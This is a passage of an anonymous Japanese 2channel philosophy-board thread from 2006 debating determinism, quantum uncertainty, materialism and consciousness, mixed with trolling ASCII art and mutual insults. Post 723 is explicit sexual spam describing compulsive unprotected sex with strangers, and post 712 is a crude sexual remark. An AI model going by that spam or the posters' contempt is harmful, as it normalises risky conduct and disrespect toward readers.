状態の不確定性は、観測の論理的限界によるものだよ。
本当に状態が決まっていないと言うわけではない点が重要。
単に知りえないだけ。そういう意味で観測上の問題ということは出来る。

650 :考える名無しさん:2006/11/20(月) 19:44:04
>>645
それは哲学にかぶれた理系だけw

651 :考える名無しさん:2006/11/20(月) 19:46:31
>>649
ちがうんだよ。
状態の不確定性は交換関係とボルンの確率規則だけからでてくる。
測定の誤差はそれとは別の話。
不確定性の根拠がハイゼンベルクの測定系の議論にあると勘違いしてるだろ。

652 :考える名無しさん:2006/11/20(月) 19:47:42
>>645
つーか、説明する言葉自体が、本来、物理の数式になる。
日常語で説明すれば、それは劣化しているわけで、
正しく説明するには数式は避けられない。

数式で理解できない文系にわからせようとするのが、バカな理系のそもそもの間違い。
自分と同じ能力を期待するのがおかしい。

文系はわからないことを自覚して、わからないことには黙っていれば良い。
文系に量子の世界にコメントする資格なんてないんだから。

653 :考える名無しさん:2006/11/20(月) 19:48:59
>>651
>状態の不確定性は交換関係とボルンの確率規則だけからでてくる。

それは単なる情報処理上の問題。実体ではないよ。そういう意味で観測上の問題と言える。

654 :考える名無しさん:2006/11/20(月) 19:51:52
>>653
だいじょうぶですか?


655 :考える名無しさん:2006/11/20(月) 19:53:05
>>653
>それは単なる情報処理上の問題。実体ではないよ。そういう意味で観測上の問題と言える。
実体ってなんだよ。
自分がそう信じたいだけだろ。

これは量子力学の定式化に関わる話なの。
観測理論ってのをちゃんと勉強してみな。

656 :考える名無しさん:2006/11/20(月) 19:55:31
物理の決定論の話なんてどうでもいいんだよ
哲板で決定論やるなら、せめて脳あたりまでもってこい

657 :考える名無しさん:2006/11/20(月) 19:55:40
2重スリットも実はどちらか一方を通っているんだが観測できないだけだとかいってた機械さんみたいだな

658 :考える名無しさん:2006/11/20(月) 19:56:31
>>655
>実体ってなんだよ。
>自分がそう信じたいだけだろ。

違うよ。実体は今のところ誰にもわかっていないというだけ。
今後解明される可能性はあるが。

>これは量子力学の定式化に関わる話なの。

そうだよ。それは否定していない。
量子論自体、観測上の情報処理を扱っているだけ。
決定論的乱数のシミュレーション上でも、統計による処理と把握が有効だが、
その確率は実体ではないのと同じ。

659 :考える名無しさん:2006/11/20(月) 19:57:41
>>657
両方通っている。文系には理解できんだろうけど。理解したフリならできるだろうけどね。

660 :考える名無しさん:2006/11/20(月) 19:59:45
>>658
>違うよ。実体は今のところ誰にもわかっていないというだけ
じゃあなんで「実体ではない」って断言できるんだよw

>量子論自体、観測上の情報処理を扱っているだけ。
だからそれは自分がそう信じたいだけでしょ。
全く一般的な話じゃない。

661 :考える名無しさん:2006/11/20(月) 19:59:59
>>659
そう言ったら機械さんは、「まだそんな古い教科書信じてるんですか?」
とのたまったのでした。

なつかしい歴史の1コマw

662 :考える名無しさん:2006/11/20(月) 20:00:46
脳が作り出さない「現実世界」どんなところなの?

663 :考える名無しさん:2006/11/20(月) 20:03:23
>>660
>じゃあなんで「実体ではない」って断言できるんだよw

わからないものを、観測による推測で扱っているだけだから。
網膜に映る像が実像ではないのと同じだ。実像だと勘違いするバカが多いけどね。
物理の世界では、扱っているものが実体ではないのは当たり前なんだよ。
まともな物理屋は、物理がその程度のものだという謙遜を忘れないものだ。


>>量子論自体、観測上の情報処理を扱っているだけ。
>だからそれは自分がそう信じたいだけでしょ。

いいや違う。まともな物理屋は、物理がその程度のものだという謙遜を忘れないものだ。

664 :考える名無しさん:2006/11/20(月) 20:05:52
だめだこりゃ。
自分の知識が偏ったものだというふうには謙遜できないらしいw

もともとスレ違いの話題だしもう退場しますわ。
もっと詳しく知りたいって人が居たらレスするけど。
(でもそろそろ連投規制に引っかかるな)

665 :考える名無しさん:2006/11/20(月) 20:07:06
>>660
>じゃあなんで「実体ではない」って断言できるんだよw

量子論では説明のつかない問題がまだある。

666 :考える名無しさん:2006/11/20(月) 20:08:55
>まともな物理屋は、物理がその程度のものだという謙遜を忘れないものだ。

自分の知っている範囲と
物理学の知っている範囲との差には気付かないのね

667 :考える名無しさん:2006/11/20(月) 20:10:24
>>666
それはあるだろうが、たぶんキミよりは詳しいと思うよ。
量子力学で論文書いているから。

668 :考える名無しさん:2006/11/20(月) 20:11:43
物理の論文はけっこうあてにならんよ。

669 :考える名無しさん:2006/11/20(月) 20:13:12
>>668
まあ、そうだが、それなりに勉強してきたってことだ。
書いていればいいとはいわんが、書いてない奴では理解が話にならない可能性が高い。

670 :考える名無しさん:2006/11/20(月) 20:17:15
そもそも哲学的な議論に、物理は関係ないのに、持ち出すバカがいるのがわからん。
決定論に、不確定性原理とか関係ないっつーの。
物理は古今世界の一部を近似で表現しただけに過ぎないのに。
物理に関係なく、決定論は成立するんだよ。

671 :考える名無しさん:2006/11/20(月) 20:27:45
ボーアとアインシュタインの論争なんてまだ確実にわかってないのだから
論争しても仕様がないだろ。
だったら前向きにわかる筈であるという信念で研究するしかない。
まずは量子論なんかより人間の脳の完全解析だ。
観測者である人間を完全解明するぐらいやらないと先に進まない。

672 :考える名無しさん:2006/11/20(月) 20:31:33
いやアインシュタインは確実に負けだよw

673 :考える名無しさん:2006/11/20(月) 20:45:19
>>672
理由は何だよ。根拠を言えよw
酔っぱらったついでの冗談だとでも言うのかねw

674 :考える名無しさん:2006/11/20(月) 21:04:46
>>673
へ?
EPRパラドックスとベルの実験知らんの??

675 :考える名無しさん:2006/11/20(月) 21:06:56
          _巛__
        /∵∴∵∴\
       /∵∴∴,(・)(・)|
       |∵∵/    ●ヽ|
       |∵ /____|____)脳は物質だから意識は必然にすぎない!  
       |∴ \_____/
       |∵∴∵━━○┥
      │∵∴/___|
       |∵/∵\\__./|
       ○:/∴/∵∴|丶\
      ノ∴/∵/∴∵|∵ヽ ゝ
        ̄ ̄ ̄| ̄| ̄| ̄ ̄
           | ̄| ̄|
           L ⌒l⌒l
       ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

676 :考える名無しさん:2006/11/20(月) 21:07:01
ベルの実験じゃねーや。
ベルの不等式の破れを実証したアスペの実験ね

677 :考える名無しさん:2006/11/20(月) 21:53:11
>>652
君のスレを読むと、なぜ理系が大統領にも首相にも社長にも事務次官にもなれ
ないのか、その理由がよくわかるね。君のようなタイプがアホの文系のトップ
のために尽くすのだろうね。ごくろうさん。

678 :第2唯物論 ◆qBkUSoWgX. :2006/11/20(月) 22:02:45
 決定論に、不確定性原理とか関係ないっつーの。  ○

 物理に関係なく、決定論は成立するんだよ。   ×

いわば「逆統計力学」により決定論は正しくない

以上本とよ、我が大学物理OB10人衆の結論 といっても確認するほどでないがね」



679 :第2唯物論 ◆qBkUSoWgX. :2006/11/20(月) 22:08:06
>>677 >>652

 文系はわからないことを自覚して、わからないことには黙っていれば良い。
文系に量子の世界にコメントする資格なんてないんだから

とかいてあるからといっても量子力学をよく知らないから、決定論を論じるなということではない
決定論にも唯物論にも量子力学は未来のエネルギーを論じる以外関係ない、下手に量子力学と絡めるとこが文系の間違いということなのさ

 ただ決定論にはいわば逆統計力学という難関がある、哲学的に議論してもだめ


680 :第2唯物論 ◆qBkUSoWgX. :2006/11/20(月) 22:12:24
決定論を哲学的に唯物論的に語るなら>>561   これほんと 

681 :第2唯物論 ◆qBkUSoWgX. :2006/11/20(月) 22:31:20
決定論に関して>545もいいこといってる あたってる、文系向け

682 :第2唯物論 ◆qBkUSoWgX. :2006/11/20(月) 22:32:37
>>545  <−−−− ちゃんとかかないとリンクできへんから再かつ
夫連続投稿ストップになるな

683 :小さなヨハネ ◆1oKmZSIAF. :2006/11/20(月) 22:46:02
>>610
ワトソン:全部読んでいないから知らないよ。よかったらもう一度説明して欲しい。
ホームズ:ワトソン、唯物論者が神を信じる訳がないだろう。自然が神だとか、自然
     の法則が神だと言うだけさ。


684 :第2唯物論 ◆qBkUSoWgX. :2006/11/20(月) 23:01:28
>>883 そんな2百年前の議論じゃないよ

神は実は上部構造で下部構造が規定してる、下部構造が規定してるからリアリティーがでる、かつ神はいるということなのよ

685 :第2唯物論 ◆qBkUSoWgX. :2006/11/20(月) 23:03:18
>>684 は>>683

686 :小さなヨハネ ◆1oKmZSIAF. :2006/11/20(月) 23:35:32
>>684
ワトソン:もっと具体的に説明してください。意味が分からない。
     譬えとかを使ってわかりやすく。それに神の姿はあるのか。

687 :小さなヨハネ ◆1oKmZSIAF. :2006/11/20(月) 23:37:41
ワトソン:それから嘘をついていいかどうか教えてください。

688 :ディオニュソス:2006/11/21(火) 01:24:15
「平均的な人間の脳機能、しかも非常に大雑把な機能面での概ねの同一」
のみが共通の文脈理解として一般に認可されているのである。
例えば以前私が述べた「赤一色の壁」を単一色として感覚し、それによって
壁全面が概ね一様な光の波長やら振幅数やらを持つという計測結果をはじき
出すことで物理的な計測空間上の表現へと置き換えられ、そしてさらに云々、
といったプロセスは、実のところ上に述べたような「概ねの機能面での同一」
がもたらす共通理解であるに過ぎないということである。従って概ね一般的
な脳機能が捉えた「赤一色の壁」とその計測などの機能上の文脈一致は、
この壁が「虹色のグラデーション」として感覚されてしまうような頭の所有者
には必ずしも当てはまらないのである。つまり私が言いたいのは、感覚の仕方
が人間一般としてこのような概ねの形態を持っていなかったとしたら、そこ
にはまた別様の文脈を持つ身体特性が一般性を獲得していたであろう、という
ことなのである・・・。

689 :考える名無しさん:2006/11/21(火) 01:51:19
>>678
どんな論を持ってきても同じだよ。所詮は人間の情報処理の仕方に過ぎない。
決定論を否定することは原理的に不可能なんだよ。

690 :ディオニュソス:2006/11/21(火) 02:11:55
古代人の感覚の仕方と現代のそれとでは恐らく大きな隔たりがあるであろう
ことは薄々予感されている。
別様の感覚の仕方から表象される、諸力の別様な具体的現れ方。
今もって狂人やその亜種である芸術家などは古代の脳機能特性の片鱗をわずか
にしかも不完全な形ではあるが持ち合わせている。
一般的な範形が外界(自分の身体をも含めた)を「このような」仕方で定規に当て
はめ、そして「このような」仕方で平易に取り扱う性質を導いたのとは全く異質
な性質および価値尺度。
現代における彼らのごとき例外者たちは言うなれば太古の神々の忘れ形見のよう
なものであり、自身未だ立つべき国土を知らぬ漂泊者なのである。

691 :ゾルレン:2006/11/21(火) 04:20:14
亀レスすまん

>>463
>あらゆる組織は、個々の成員のエゴを禁止する。そのとおり。さりながら、
>当の組織は個々の成員のエゴを回収しつつ、それを発條に(組織)自らはその
>エゴの拡張を追求する。そうでない組織があれば、教えていただきたい。
自称「世界3の住人」はどうです?
彼らは自らの理論が正しい事を主張しようとしたり、正当化しようとしたりはしない。(と、建前上は言う)
そして、自分が考える理論に誤りがないかどうか、他人から批判を受けようと試みる。
そのような相互批判の集団について、彼らは「エゴを拡張している」と言えるのでしょうか?
もしかしたら、そうかもしれない。(彼らの言葉はただの嘘かもしれない)
しかし、仮にその行為がエゴの拡張だとしたら、エゴの拡張でない行為など可能世界に存在しないのではないでしょうか?
わたしは、知識の発展においては、可能性として存在しうるかどうかと事実存在しているかどうかを区別する事が重要であると考えます。
すべての集団は彼ら集団のエゴを拡張するかもしれませんが、それは事実を指す理論ではなく形而上学的定義に陥ってはいないでしょうか?
(わたしは形而上学定義を「それが形而上学的だから」という理由では批判しません)

>ただし、組織にとってそれは明白。利益の追求で
>ある。ただし、あなたの譬えのように利益=おカネと言い切ってしまうなら、
>その意味を矮小化することになる
わたしは組織の目的は利益の追求だとは思わないが
「組織の目的は利益追求である」という仮定を肯定しようと思う。(この言明は形而上学的だ)
しかし、ここでは「利益」という言葉がとても曖昧になっている。
もう少し探ってみよう。
例えば、アメリカのあるチョコレート会社はガーナにおける子供への扱いが悪すぎるということでクレームを受けており
その会社はガーナにおけるチョコ製造の下請け会社の環境改善に参加させられており、そのための予算を組まざるをえない。
これもまた、企業の利益のためなのだろうか?
もし、そうだとしたら「利益」という言葉を、字義通りに捉えることができなくなる。

続く

692 :ゾルレン:2006/11/21(火) 04:34:17
少なくともこう言えるでしょう。
ある時点では利益と捉えられていたことが将来においても利益と捉えられるかどうかは分からない。
ある利益を追求しようとした行為が将来不利益をもたらすかもしれない。
たいていの場合、そのような時には、反省したり後悔したり責任を追及したりといったことがなされるのかもしれませんが
あなたはホリエモンの例を出しましたが、
今のホリエモンの状態を5年前のホリエモンに見せたら、それでもなおホリエモンは自分の行動に利益があると考えるでしょうか?
「利益」という言葉がこのような長期的な意味合いを持つならば
あなたは「なにが利益か?」という問いには答えられないでしょうし、
また、「利益とは何か」と考える学問をつくれるかもしれない。
(その時にはわたしは「利益自由のテーゼ」と「利益と事実の二元論」でも提出しようかと思います。)

>これも高等遊民や高等貴族のタワゴト。目的を達成し、ホリエモンのように法の網に引っかからなければ、
>手段の正否は問われない。もちろん私は“真理”を語っているのではなく、事実
>について述べているのだが。
この文章は一見マキャベリズムに似ていますね。
ところで、あなたはなぜ「法の網にひっかからねば・・・」と条件をつけるのですか?
逆に言えば、法の網にひっかかれば手段の是非は問われるということではないのですか?
わたしは高等遊民かもしれませんが
「法の網から逃れない限り、あなたの行動はあなたの目的と関係なくその手段の是非を問われるのだ」とわたしは言うだけですが。
ついでにこうつけたしときましょう「これは価値ではなく事実についての言明である。」
(ま、「正当化」自体が事実を指す言葉ではなく理論に対する言葉ですがね。)


693 :ゾルレン:2006/11/21(火) 04:48:38
>>483,485(おそらく同一人物と思って)

正当化できるかどうかに固執するやつは頭が悪いと俺は思っている。
だから、あらゆる理論や哲学について、
それが「正当化できない」という理由で批判するやつは頭が悪いと俺は思っている。
まぁ直観こそ全てと信じる奴もいるやね
恋は盲目、恋に落ちている時、その感覚だけは真実だと思う気持ちは分かるが
(俺も恋愛のひとつぐらいはしたことはある)
それもまた人生において重要な事柄のひとつだとは思うが、それが真実だとも思わない。

世の中には理論的正当化を求めない哲学もある。
君が(決定的)正当化を求めるのは君の勝手だが、それを他人に押し付けない方がいい。


694 :ゾルレン:2006/11/21(火) 05:14:37
哲学にはミュンヒハウゼン・トリレンマという論理的アポリアがある。
(これを定式化したのはドイツの批判的合理主義者のひとり、ハンス・アルバート)
これは理論を正当化しようとすると、恣意的打ち切り、無限後退、循環のいずれかに陥るという
3つの(トリ)膠着常態に陥るということだ。
これでは理論の正しさについて最終的決着をつけることはできない。

このアポリアがもたらす状況について、ある先生はこう書いている
>いまや「決着」を希求するイデオロギー批判者がとる典型的な道は、
>「議論の世界」を離脱して、「実践の世界」へと引き返していくことである。
>彼らは、立場の「真理」性は唯一実践においてのみ立証されると断言する。
>たしかにこの断言に非常に高い重みをもつ真理が含まれていないわけではない。
>ヒトラーのごとき独裁者が議論だけによって打ち倒されると信じている者は観念世界の溺死者だろう。
>しかし、翻って、実践による立証とは何か。
>実践によって立証されたイデオロギーとは、たかだか一時の政治的勝利を永久の真理と見なすイデオロギーにすぎないのではないか。
>そして、実践における勝利が意味するのは、せいぜいのところ、そのイデオロギーの政治的有効性、
>更に言えば、革命後の粛清に見られるがごとき残忍性にすぎない。


695 :ゾルレン:2006/11/21(火) 05:16:41
カール・ビューラーの言語機能説によれば
言葉の機能は最底辺から、表出機能、信号機能、記述機能と上位に成立するらしい。
もし、言葉の内容に着目しその真理性を問う行為が無意味なものならば
われわれの言語のもつ記述機能が無意味なものだということにならないだろうか。
もしかしたらそうかもしれない。
人間的、理性的な営みなど自然の一部としては間違った行為なのかもしれないし
人間は言葉を獣のうなり声のように、威嚇と好意の2つの信号以上の効果をもって使うべきではなかったのかもしれない。
だが、わたしは言葉の内容に着目する文化圏で育ってきた。
そのわたしの営みが間違っているということ、無意味だということも
幸いな事にまだ"正当化されていない"。
ある種のイデオロギーに属する人たちには、言葉の内容に着目したり問いを発したりするわたしの行為が
無意味なものに映るかもしれないが、
ある個人に無意味に映る行為をする自由は幸いな事にこの国では認められている。



696 :ゾルレン:2006/11/21(火) 05:44:35
>>467
>現実を離れて(捨象して)規範を語ることに、どんな意味があるのですか。

・事実と価値について
価値批判は具体的な状況を無視してなされる時には、空疎な本質主義に陥る。
本質としての価値しか論じず、その価値が置かれている状況を無視するならば、価値批判は無内容となる。
事実と価値の二元論が主張するように、両者は根本的に異なるとはいえ、
両者が相互批判の関係に立たないわけではない。
・・・
価値は冷静な分析のうちにこそ足場をもつ。
価値は、事実との媒介の中で捉えられるべきであって、
正当化主義者が時として言うように、議論の終局点として考えられてはならない。
事実と価値の相互批判の可能にするものが状況分析であるとすれば、
それが生じてくるのはまさにわれわれが何らかの問題に捉えられているからである。
・・・
相互批判の中で、競い合いつつ問題解決の努力をするなかで、
われわれは事実と価値の複雑な交錯を分析し、ひいては社会の改革を目指すのである。


上の文章はある本からの引用
俺もある価値(規範)をそれを規範として受け入れている集団があるかどうかで語るべきではないと考える。
何より、ある価値(規範)をそれを規範として受け入れている集団がなくとも考えることに意味はある。
殺人を是とする集団はないが「なぜ人を殺してはいけないのか?」と考えることに意義はあると俺は考える。
倫理的な問いとは、そのような可能的なことを問う問題であると考えるからである。
つまり、わたしにはある選択のどちらも行動可能であるということ、にも関わらずどちらかの行動しか選択できないということ
そのような場面における問いはこのような性質をもつと考えるがゆえである。
「当為は可能を含意する」たしかカントのこの言葉をラッセルは『西洋哲学史』でとても評価していたと記憶している。


697 :ゾルレン:2006/11/21(火) 06:02:55
>>458
>35が批判されてる理由がよく分からんのだが。
>35が複雑に書き過ぎなのか?

俺の35への批判をもう一度整理しようと思う。
その前に謝りたい。以前に比べて読みにくい文章を書いててすまん。
以前は投稿前にチェックをしていたし、その時に読みやすいように指示語をできるだけ使わなかったり
誤読を避けるよう表現に注意していた。
だが、ネットへの接続の環境が変わって、ストレスがたまるんだ。
だからかなりイライラしながら書きこんでる。
何回か長文投稿消えたし、そういう時はもう一度説明するのがダルくて説明が省かれやすくなってる。
だから、かなりハショってる時がある。
エゴイズムの禁止の説明とかもうボロボロ・・・(行為の禁止ではなく理由付けの禁止という部分が抜けている)
まぁ、俺の文章は本から引っ張ってくるのが大半なので、興味ある奴は自分で本を探して読んでくれるだろう。

それと分かるだろうけど、俺の昨今の書き込みはある特定の主義思想を仮想相手にしている。
だから文章が回りくどいだろうが気にしないでくれ。
俺の興味ある問題が合理性論の周辺にあるだけだ。


698 :ゾルレン:2006/11/21(火) 06:18:28
>結局俺は「観念や精神すらも否定する原理主義的決定論」に対して批判しただけ。
>それが意味がないっていうならそうなんでしょうけど。
上が俺が批判をした35の文章だが、
俺が批判したのは、35の言う「堅い決定論は成立し得ない」という言葉だ。

もとをたどると
>別に決定論すべて否定してるわけじゃないんだけど。
>「観念」やら「精神」を認めない『硬い決定論』は本来の意味でナンセンスだよっていってるだけ。
>観念によって観念を否定してどうするんだってことなわけ。
この部分かな

そして、35はここでナンセンス(無意味)と言っている。
「果たしてそうだろうか?」というのが俺から35への反批判となる。

先に説明すると、俺は非決定論者であり、(実在論者であるが)マルクス主義者が言う「観念論者」にあたり、
精神の自由と精神と物質が相互作用するこの世界の非決定性を承認する立場である。

35の主張はおそらくこうだろう。
「精神も言葉も含めてすべては決定している」と主張する堅い決定論は
その主張する内容も、ある自由な精神のもとに発せられた言葉ではなく、決定論に従った産物であると主張せざるをえない。
だが、われわれが水のせせらぎと本気で会話しようとしないように、
そのような言葉と真剣に取り組むことはナンセンス(無意味)である。
なぜならば、われわれがこのような問いを持つには
まず観念や精神、言葉、論理を前提とせねばならず、そのような前提の上において前提となるものを問うことはナンセンス(無意味)だからである。

このような考え方には実際論的パラドクスを無意味とするラッセルの考え方の影響が見受けられる。
では実際論的パラドクスについて問いをもち考えることは本当に無意味なのだろうか?


699 :考える名無しさん:2006/11/21(火) 06:59:53
詩人だね

700 :考える名無しさん:2006/11/21(火) 09:58:23
>>694
>いまや「決着」を希求するイデオロギー批判者がとる典型的な道は、
>「議論の世界」を離脱して、「実践の世界」へと引き返していくことである。
>彼らは、立場の「真理」性は唯一実践においてのみ立証されると断言する。

この引用文は、「哲学者たちは世界を様々に解釈してきたに過ぎないが、
重要なのはそれを変革することだ」というマルクスの考え方に対する
批判と理解していいのでしょうか。
また、プラグマティズム(論者によって多様で、そんな概念は無意味だと
する考えもあるようですが)を「真理の基準を実践に置く」ということだと
理解すると、それに対する批判でもあるのでしょうか。
ただ、最もプラグマティズム的思考の強い国はアメリカだと思うのですが、
明らかにそれはマルクス主義とは対極にあります。このへんは、
どう考えればよいでしょうか。
「真理は相対的で暫定的なものに過ぎない」という「自由主義的真理観」を
導入すれば、引用文の批判は当らないようにも思えますが、しかし、
このような考え方はゾルレンさんの最も認めないところだと思われます。


701 :考える名無しさん:2006/11/21(火) 10:32:30
ある日、自作自演の>>1
       会社から手紙が届いた・・・
          _____
         / ヽ____//
         /   /   /
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       /              /ヽ__//
     /     解 雇       /  /   /
     /              /  /   /
    /   ____     /  /   /
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  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/   /   /

702 :考える名無しさん:2006/11/21(火) 10:42:36
       _____._____._____._
      ./( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚) /|
      /( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚) / .|
     ./( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚) /  |
    /( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚) /  / / ̄ ̄  ̄ ̄. ̄ ̄  ̄ ̄. ̄ ̄
   ./( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚) /  / <  ・・・・・・バカジャネーノ
   /( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚) /  /   \_____.________.
  ./( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚) /  /
 /( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚)( ゚,_ゝ゚) /  /
 | ̄ ̄  ̄ ̄. ̄ ̄  ̄ ̄. ̄ ̄  ̄. ̄  ̄|  /
 |  『バカジャネーノ』詰め合わせ  |/
 |_____._____.___.___.__|/

703 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 11:49:52
  >実在論者であるが)マルクス主義者が言う「観念論者」にあたり

マルクス主義者は現在ではどう言う考え方を観念論というのかな

704 :674:2006/11/21(火) 13:21:22
おいおい >>673あれからレスなしかよ
あれだけ煽っといてずいぶんなさけねーな

705 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 13:48:31
>>703>>698の一部へレス

706 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 16:22:27
>>703 温暖化防止はまず世界の多くの人が「まず」温暖化はいけない何とか抑えようと「心で思わなければ」抑えられないだろうね
と.マルクス主義者でもいうと思う、それは当たリ前、実行の前には観念が問題になる

707 :考える名無しさん:2006/11/21(火) 16:34:31
>>682
>ちゃんとかかないとリンクできへんから再かつ
もしかして・・・
「再掲」と言いたかった?
「再かつ(なぜか変換できない)」なのか?

708 :考える名無しさん:2006/11/21(火) 16:36:47
コテハンにトリップまでつけて自演する人がいるのはこのスレですか?

709 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 16:42:39
>>706 認識論上の観念論とは、自分で自分に観念操作して.ほんとは温暖化は進んできてやばいの
.、いや「進んでない」とか、あるいは「進んでもどうてことはない」と虚偽をじぶんで自分に言ってる香具師のことを言うと思う

 唯物論ではそれはその人は豊かな生活を続ける上には、温暖化防止は障害になると感じてるから自分をだますだろうという

 

710 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 16:43:55
訂正 ほんとは温暖化は進んできてやばいの  ーーーー> ほんとは温暖化は進んできててやばいのに



711 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 16:45:22
>>709 つまり観念操作で作られた「現実」をほんとの現実と思うことが認識論上の観念論

712 :考える名無しさん:2006/11/21(火) 16:48:32
話は変わるけどさ、グロいオマンコってやっぱオナニーの
しすぎやヤリすぎでなってるのかな?
ボクはきれいなピンク色が大好きちゃん!


713 :考える名無しさん:2006/11/21(火) 16:49:02
確かに第2唯物論 ◆qBkUSoWgXは文章力がない以前にいろいろ問題はある
この時点で20世紀的正統派唯物論を主張している唯一のキャラだけに惜しい
しかし21世紀になったからといって彼の視点が無効になるわけでもないし
「機械的唯物論」が唯物史観にかわる新しい世界観であるわけでもないから
くだらない揚げ足取りなど気にせず精進してくれ
もうちょっと考えてから文章を書け、そしてアップする前に1度ぐらい推敲しろってばよ

714 :考える名無しさん:2006/11/21(火) 16:53:35
螺旋丸

715 :考える名無しさん:2006/11/21(火) 18:20:32
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄」
―――――――――――――‐┬┘
                        |
       ____.____    |
     |        |        |   | 
     |        | ∧_∧ |   |  
     |        |( ´∀`)つ ミ |   
     |        |/ ⊃  ノ |   |    
        ̄ ̄ ̄ ̄' ̄ ̄ ̄ ̄    |  
                        >>1

716 :考える名無しさん:2006/11/21(火) 18:22:44
>>713
それ以前に、唯物史観はそもそもこのスレと全く関係ないんだけど。
いくら貴重だろうが、スレ違いのキャラを飼っとく理由など一つもない。

717 :考える名無しさん:2006/11/21(火) 18:30:41
                 / /_________________________
                 / / __     __        n     _____    /
                 / / |   |     /  /      / /    /       |   /
                / /  |   |    /  /      / /   . /        .|   /
               / /  |   |.   /  /    /⌒ヽ/     /   / ̄ ̄|  l  /
         .      / / . |   |  /  /    ( ^ω^ )     /   /.  / /  /
  .          . / ./   |   |  /  /     ノ/ /  ノ   /    ̄ ̄ /  . /
             / /  . |   |. /  /   // / ノ     /   / ̄ ̄ ̄ .   /
             / /    |   |/  /  ⊂( し'./    /   /         /
            / /     |     /     | ノ'     . /   /         /
            / /     |    /.     し'      ./   /        /
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   /⌒ヽ    (  ̄)
  ( ^ω^) / /
/⌒  _ / /./
 \    //_/\
    ̄ ̄ ̄(_二_)

このスレはVIPが占領しますたܷܵܶ

718 :考える名無しさん:2006/11/21(火) 18:33:04
>>716
唯物論の解釈の違いに過ぎない
マルクスが哲学的に無意味だとでも?

719 :考える名無しさん:2006/11/21(火) 18:38:41
>>718
なんかこの人も飛躍系なのかなw

このスレは決定論や唯物論と主観的な意識とのかかわりを論じるスレなの。
そういう論点に関して唯物史観は意味がないって言ってるだけでしょ。
「哲学的に無意味」なんて意見がどっから汲み取れるのかさっぱりわからん。

720 :考える名無しさん:2006/11/21(火) 18:42:50
>>716
心が狭いね。哲学などに時間を費やさずに、別のことをやれ。

721 :考える名無しさん:2006/11/21(火) 18:45:50
>>720
あなたのその広い心で、おれの意見なんかに反応しないで永遠にスルーしてくれることを望む^_^

722 :考える名無しさん:2006/11/21(火) 18:47:38
>>719
第2唯物論はその辺を語っていないか?
言い方が回りくどいから理解しにくいが核心部分はそこだ
意識の社会的被拘束性と決定論形而上学の差異こそが第2唯物論の主張だろう

723 :考える名無しさん:2006/11/21(火) 18:48:10
私はSEX依存症です。
やりたくなったら誰とでも何回でもやります。
好きな相手でなくても入れられてピストンされてると幸せな気分になる。
中で出されると「ヤバイ」と思って必死で洗ったり。
それでもすぐ知らない人と何度でもやってしまいます。
3日もやらないと下半身が疼いて仕方ありません。
一日に10人以上とやるなんてザラにあります

自分でもSEX依存はその内病気になってしまうからダメと
わかってはいるのですがやめられません
あと、コンドーム付けてやられるのはあまり気持ちが良くないのでダメです
中に出される感覚がすごくいいので誰にでも出させてしまいます

724 :考える名無しさん:2006/11/21(火) 18:54:00
>>722
何度も指摘してるけど、第二が言ってるのは単に意識の内容(第二の言う「観念」)が
どう物質に規定されるかってことだけで、主観的な意識そのものが
いかに立ち上がるか(これこそがこのスレの中心的な議題)については何の示唆もないし、
そもそも唯物史観ではそんなこと語れないの。



725 :考える名無しさん:2006/11/21(火) 18:57:31
>>724
みんな分かってる
だから、第2は誰にも相手にされてないんだろ
いつまであいつは一人相撲取り続けるんだ?w

726 :考える名無しさん:2006/11/21(火) 19:02:17








   唯物論がどうしんだ?
   決定論がなんなんだ?

   おまいら、ハッキリ物言えよ
   いったい何のためにその話、してんだよw











727 :考える名無しさん:2006/11/21(火) 19:32:47
酢豆腐スレか。w

728 :考える名無しさん:2006/11/21(火) 19:33:49
観測問題以前に解決されなければならない問題がある。

729 :考える名無しさん:2006/11/21(火) 19:35:17
それが何なのか。

それはそうと、小さなヨハネはバカなんだからりここのは理解できないだろうから早く引っ込めよ。


730 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 20:03:06
>>724 4回も書いただろうが、かかれたことの深い内容が馬鹿のため読み取れないだけだぜ

731 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 20:06:59
>>722 そうでーす

732 :考える名無しさん:2006/11/21(火) 20:07:23
>>730
そういうことは>>137にちゃんと回答してから言ってね

733 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 20:41:13
>>732 どうやってて又おまえ物理化学生物の、ここと関係ない話しろというのか」
あほやなあ、だからかかれたことの深い内容が00のため読み取れないと書いただろう」

 あと形而上学は詰まらんからやらん


734 :考える名無しさん:2006/11/21(火) 20:43:43
>>733
「ここと関係ない」とか勝手に決めないでください。
それこそがこのスレのメイントピックなんであって、
あんたのほかのレスが全部スレ違いなの。

このスレの議論にからみたいなら>>137に回答してください。
できないなら他のスレ立ててそこで好きなこと喋っててください。

735 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 20:54:30
>>734 興味あるこというなあ、生物学的議論がお望みかい だからかかれたことの深い内容が00のため読み取れないと書いただろう、と3回目書いておこう
馬鹿は平易に書くとだめみたいだな
それとも君の形而上学ではどうやって意識または観念は発生するのかな

736 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 21:00:30
>>735 、まず問題の>.135を最渇してと
意識はつまり観念は,生きていこうという意図が事物に対峙するときに主に発生する

